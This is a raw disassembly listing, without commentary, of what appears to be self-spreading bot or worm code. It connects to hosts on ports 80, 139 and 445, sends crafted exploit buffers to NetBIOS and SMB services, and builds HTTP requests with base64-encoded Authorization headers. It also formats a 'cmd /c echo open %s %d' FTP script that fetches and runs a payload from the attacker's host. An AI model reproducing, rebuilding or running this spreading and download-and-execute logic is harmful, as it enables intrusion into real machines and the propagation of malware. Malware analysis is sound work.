; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40BFC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40BFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C005	proc near		; CODE XREF: sub_40C0DF+48p
					; nsp0:0040C55Dp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40C02E
		xor	al, al
		jmp	loc_40C0DA
; ---------------------------------------------------------------------------


loc_40C02E:				; CODE XREF: sub_40C005+20j
		push	ebx
		push	0
		push	esi
		call	sub_417AA0
		push	2Fh
		push	offset dword_43414C
		push	esi
		call	sub_418810
		push	8
		lea	eax, [esi+31h]
		push	offset dword_43417C
		push	eax
		mov	[esi+2Fh], di
		call	sub_418810
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_418810
		push	6
		add	ebx, edi
		push	offset dword_4CC514
		push	ebx
		call	sub_418810
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_4340C4
		push	ebx
		call	sub_40BFC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40C096


loc_40C092:				; CODE XREF: sub_40C005+B5j
		xor	bl, bl
		jmp	short loc_40C0D1
; ---------------------------------------------------------------------------


loc_40C096:				; CODE XREF: sub_40C005+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40BF41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40BFC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40C092
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40BF41
		add	esp, 10h
		mov	bl, 1


loc_40C0D1:				; CODE XREF: sub_40C005+8Fj
		push	esi
		call	sub_4177C1
		pop	ecx
		mov	al, bl


loc_40C0DA:				; CODE XREF: sub_40C005+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0DF	proc near		; CODE XREF: nsp0:0040C543p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_434188
		push	[ebp+arg_0]
		call	dword_423208	; send
		cmp	eax, 48h
		jnz	short loc_40C11A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40BF41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C11A
		cmp	[ebp+var_20], 82h
		jz	short loc_40C11E


loc_40C11A:				; CODE XREF: sub_40C0DF+1Bj
					; sub_40C0DF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C11E:				; CODE XREF: sub_40C0DF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C005
		add	esp, 0Ch
		leave
		retn
sub_40C0DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C131	proc near		; CODE XREF: sub_40C17D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_423678
		call	sub_418C98
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_423670
		fstp	[esp+10h+var_10]
		call	sub_418B79
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_418C98
		inc	eax
		leave
		retn
sub_40C131	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C17D	proc near		; CODE XREF: sub_40C31F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4223CB
		call	sub_419164
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40C7BE
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40C131
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40C1BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40C739


loc_40C1BF:				; CODE XREF: sub_40C17D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40C2DC
		mov	ebx, [ebp+10h]


loc_40C1CE:				; CODE XREF: sub_40C17D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40C1D8
		push	3
		jmp	short loc_40C1EA
; ---------------------------------------------------------------------------


loc_40C1D8:				; CODE XREF: sub_40C17D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40C1E2
		push	2
		jmp	short loc_40C1EA
; ---------------------------------------------------------------------------


loc_40C1E2:				; CODE XREF: sub_40C17D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40C1EB
		push	1


loc_40C1EA:				; CODE XREF: sub_40C17D+59j
					; sub_40C17D+63j
		pop	ebx


loc_40C1EB:				; CODE XREF: sub_40C17D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_423688
		fstp	[esp+40h+var_40]
		call	sub_418CBF
		pop	ecx
		pop	ecx
		call	sub_418C98
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40C22A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40C22A:				; CODE XREF: sub_40C17D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40C298
		add	[ebp-18h], eax


loc_40C27C:				; CODE XREF: sub_40C17D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4341D4[eax]
		push	eax
		push	1
		call	sub_40C5BB
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40C27C


loc_40C298:				; CODE XREF: sub_40C17D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40C2B6
		push	dword ptr [ebp+14h]
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40C614
		mov	[ebp-18h], edi


loc_40C2B6:				; CODE XREF: sub_40C17D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40C2D0
		sub	esi, [ebp-1Ch]


loc_40C2C1:				; CODE XREF: sub_40C17D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40C5BB
		dec	esi
		jnz	short loc_40C2C1


loc_40C2D0:				; CODE XREF: sub_40C17D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40C1CE
		push	1
		pop	ebx


loc_40C2DC:				; CODE XREF: sub_40C17D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40C7BE
		push	dword_423680
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40C66B
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40C7BE
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40C17D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C31F	proc near		; CODE XREF: nsp0:0040C526p
		mov	eax, offset loc_4223E8
		call	sub_419164
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43B9B8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40C17D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417A2B
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40C369
		xor	bl, bl
		jmp	short loc_40C3AD
; ---------------------------------------------------------------------------


loc_40C369:				; CODE XREF: sub_40C31F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_423690
		cmp	ecx, ebx
		jnz	short loc_40C377
		mov	ecx, eax


loc_40C377:				; CODE XREF: sub_40C31F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40C37F
		mov	eax, [ebp+18h]


loc_40C37F:				; CODE XREF: sub_40C31F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_417E90
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4C9848	; send
		cmp	eax, esi
		jz	short loc_40C3A4
		xor	bl, bl
		jmp	short loc_40C3A6
; ---------------------------------------------------------------------------


loc_40C3A4:				; CODE XREF: sub_40C31F+7Fj
		mov	bl, 1


loc_40C3A6:				; CODE XREF: sub_40C31F+83j
		push	edi
		call	sub_4177C1
		pop	ecx


loc_40C3AD:				; CODE XREF: sub_40C31F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40C7BE
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40C31F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_434380
		push	eax
		call	sub_418810
		add	esp, 0Ch
		mov	eax, offset byte_4250EC
		push	eax
		push	eax
		movzx	eax, word ptr dword_4C9540
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_417E90
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_434218
		push	eax
		call	sub_40BBDB
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_40C482
		xor	eax, eax
		jmp	loc_40C5AE
; ---------------------------------------------------------------------------


loc_40C482:				; CODE XREF: nsp0:0040C479j
		mov	[ebp-0Ch], esi


loc_40C485:				; CODE XREF: nsp0:0040C585j
		test	esi, esi
		jnz	loc_40C58B
		push	6
		push	1
		push	2
		call	dword_423204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40C573
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4C97FC	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9838	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C97A8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C568
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40C530
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40C7BE
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40C7FA
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40C31F
		add	esp, 1Ch
		jmp	short loc_40C565
; ---------------------------------------------------------------------------


loc_40C530:				; CODE XREF: nsp0:0040C4EEj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40C54A
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40C0DF
		jmp	short loc_40C562
; ---------------------------------------------------------------------------


loc_40C54A:				; CODE XREF: nsp0:0040C53Aj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40C568
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40C005


loc_40C562:				; CODE XREF: nsp0:0040C548j
		add	esp, 0Ch


loc_40C565:				; CODE XREF: nsp0:0040C52Ej
		movzx	esi, al


loc_40C568:				; CODE XREF: nsp0:0040C4E1j
					; nsp0:0040C554j
		push	ebx
		call	dword_4C9890	; closesocket
		test	esi, esi
		jnz	short loc_40C57E


loc_40C573:				; CODE XREF: nsp0:0040C49Ej
		push	3E8h
		call	dword_423078	; Sleep


loc_40C57E:				; CODE XREF: nsp0:0040C571j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40C485


loc_40C58B:				; CODE XREF: nsp0:0040C487j
		lea	ecx, [ebp-8]
		call	sub_40BA00
		test	esi, esi
		jz	short loc_40C5AC
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_433880[eax]
		lea	eax, dword_433880[eax]


loc_40C5AC:				; CODE XREF: nsp0:0040C595j
		mov	eax, esi


loc_40C5AE:				; CODE XREF: nsp0:0040C47Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4223AC


loc_40C5B3:				; CODE XREF: sub_4223AC+3j
					; nsp0:004223C5j ...
		push	1
		call	sub_40C7BE
		retn
; END OF FUNCTION CHUNK	FOR sub_4223AC

; =============== S U B	R O U T	I N E =======================================



sub_40C5BB	proc near		; CODE XREF: sub_40C17D+110p
					; sub_40C17D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_423680
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40C5D5
		call	sub_421F10


loc_40C5D5:				; CODE XREF: sub_40C5BB+13j
		test	ebx, ebx
		jbe	short loc_40C60C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C60C
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417AA0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40C60C:				; CODE XREF: sub_40C5BB+1Cj
					; sub_40C5BB+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C5BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C614	proc near		; CODE XREF: sub_40C17D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_423680
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40C62E
		call	sub_421F10


loc_40C62E:				; CODE XREF: sub_40C614+13j
		test	ebx, ebx
		jbe	short loc_40C663
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C663
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_418810
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40C663:				; CODE XREF: sub_40C614+1Cj
					; sub_40C614+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C614	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C66B	proc near		; CODE XREF: sub_40C17D+17Cp
					; sub_421F6A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40C683
		call	sub_42213C


loc_40C683:				; CODE XREF: sub_40C66B+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40C695
		mov	esi, [ebp+arg_8]


loc_40C695:				; CODE XREF: sub_40C66B+25j
		cmp	edi, ebx
		jnz	short loc_40C6B7
		push	dword_423680
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40C82F
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40C82F
		jmp	short loc_40C730
; ---------------------------------------------------------------------------


loc_40C6B7:				; CODE XREF: sub_40C66B+2Cj
		test	esi, esi
		jbe	short loc_40C6FA
		cmp	esi, eax
		jnz	short loc_40C6FA
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C6CB
		mov	eax, offset dword_423690


loc_40C6CB:				; CODE XREF: sub_40C66B+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40C6FA
		push	1
		mov	ecx, edi
		call	sub_40C7BE
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C6E6
		mov	eax, offset dword_423690


loc_40C6E6:				; CODE XREF: sub_40C66B+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40C730
; ---------------------------------------------------------------------------


loc_40C6FA:				; CODE XREF: sub_40C66B+4Ej
					; sub_40C66B+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C730
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C714
		mov	eax, offset dword_423690


loc_40C714:				; CODE XREF: sub_40C66B+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_418810
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40C730:				; CODE XREF: sub_40C66B+4Aj
					; sub_40C66B+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40C66B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C739	proc near		; CODE XREF: sub_40C17D+3Dp
					; sub_40C5BB+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40C74B
		call	sub_421F10


loc_40C74B:				; CODE XREF: sub_40C739+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40C774
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40C774
		cmp	al, 0FFh
		jz	short loc_40C774
		cmp	edi, edx
		jnz	short loc_40C7AF
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40C769:				; CODE XREF: sub_40C739+47j
		mov	ecx, esi
		call	sub_40C7BE


loc_40C770:				; CODE XREF: sub_40C739+4Bj
					; sub_40C739+52j
		xor	al, al
		jmp	short loc_40C7B9
; ---------------------------------------------------------------------------


loc_40C774:				; CODE XREF: sub_40C739+19j
					; sub_40C739+20j ...
		cmp	edi, edx
		jnz	short loc_40C78D
		cmp	[esp+8+arg_4], dl
		jz	short loc_40C782
		push	1
		jmp	short loc_40C769
; ---------------------------------------------------------------------------


loc_40C782:				; CODE XREF: sub_40C739+43j
		cmp	ecx, edx
		jz	short loc_40C770
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40C770
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C739+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40C7AA
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40C79F
		cmp	eax, edi
		jnb	short loc_40C7B7


loc_40C79F:				; CODE XREF: sub_40C739+60j
		push	1
		mov	ecx, esi
		call	sub_40C7BE
		jmp	short loc_40C7AF
; ---------------------------------------------------------------------------


loc_40C7AA:				; CODE XREF: sub_40C739+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40C7B7


loc_40C7AF:				; CODE XREF: sub_40C739+28j
					; sub_40C739+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40C896


loc_40C7B7:				; CODE XREF: sub_40C739+64j
					; sub_40C739+74j
		mov	al, 1


loc_40C7B9:				; CODE XREF: sub_40C739+39j
		pop	edi
		pop	esi
		retn	8
sub_40C739	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7BE	proc near		; CODE XREF: sub_40C17D+1Fp
					; sub_40C17D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40C7EA
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40C7EA
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40C7E3
		cmp	al, 0FFh
		jz	short loc_40C7E3
		dec	al
		mov	[ecx], al
		jmp	short loc_40C7EA
; ---------------------------------------------------------------------------


loc_40C7E3:				; CODE XREF: sub_40C7BE+19j
					; sub_40C7BE+1Dj
		push	ecx
		call	sub_419183
		pop	ecx


loc_40C7EA:				; CODE XREF: sub_40C7BE+8j
					; sub_40C7BE+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40C7BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7FA	proc near		; CODE XREF: nsp0:0040C51Ap
					; sub_40C953+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40C739
		test	al, al
		jz	short loc_40C828
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_418810
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40C828:				; CODE XREF: sub_40C7FA+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40C7FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C82F	proc near		; CODE XREF: sub_40C66B+39p
					; sub_40C66B+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40C842
		call	sub_42213C


loc_40C842:				; CODE XREF: sub_40C82F+Cj
		mov	ecx, edi
		call	sub_40C953
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40C858
		mov	ebx, eax


loc_40C858:				; CODE XREF: sub_40C82F+25j
		test	ebx, ebx
		jbe	short loc_40C88E
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_419190
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40C739
		test	al, al
		jz	short loc_40C88E
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40C88E:				; CODE XREF: sub_40C82F+2Bj
					; sub_40C82F+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C82F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C896	proc near		; CODE XREF: sub_40C739+79p
		mov	eax, offset loc_4223F4
		call	sub_419164
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40C8BC
		mov	edi, [ebp+8]


loc_40C8BC:				; CODE XREF: sub_40C896+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40C8C9
		xor	eax, eax


loc_40C8C9:				; CODE XREF: sub_40C896+2Fj
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40C8FA
; ---------------------------------------------------------------------------


loc_40C8D5:				; DATA XREF: nsp0:00423F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40C8E4
		xor	eax, eax


loc_40C8E4:				; CODE XREF: sub_40C896+4Aj
		push	eax
		call	sub_4194C5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40C8F4
		retn
; ---------------------------------------------------------------------------


loc_40C8F4:				; DATA XREF: sub_40C896+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40C8FA:				; CODE XREF: sub_40C896+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40C918
		cmp	eax, edi
		jbe	short loc_40C907
		mov	eax, edi


loc_40C907:				; CODE XREF: sub_40C896+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_418810
		add	esp, 0Ch


loc_40C918:				; CODE XREF: sub_40C896+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40C7BE
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40C938
		mov	edi, ebx


loc_40C938:				; CODE XREF: sub_40C896+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40C896	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C953	proc near		; CODE XREF: sub_40C82F+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40C980
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40C980
		cmp	al, 0FFh
		jz	short loc_40C980
		push	1
		call	sub_40C7BE
		push	esi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40C7FA


loc_40C980:				; CODE XREF: sub_40C953+9j
					; sub_40C953+10j ...
		pop	edi
		pop	esi
		retn
sub_40C953	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C983	proc near		; DATA XREF: nsp0:00425008o
		test	byte_4D89DC, 1
		jnz	short loc_40C993
		or	byte_4D89DC, 1


loc_40C993:				; CODE XREF: sub_40C983+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_419540
		pop	ecx
		retn
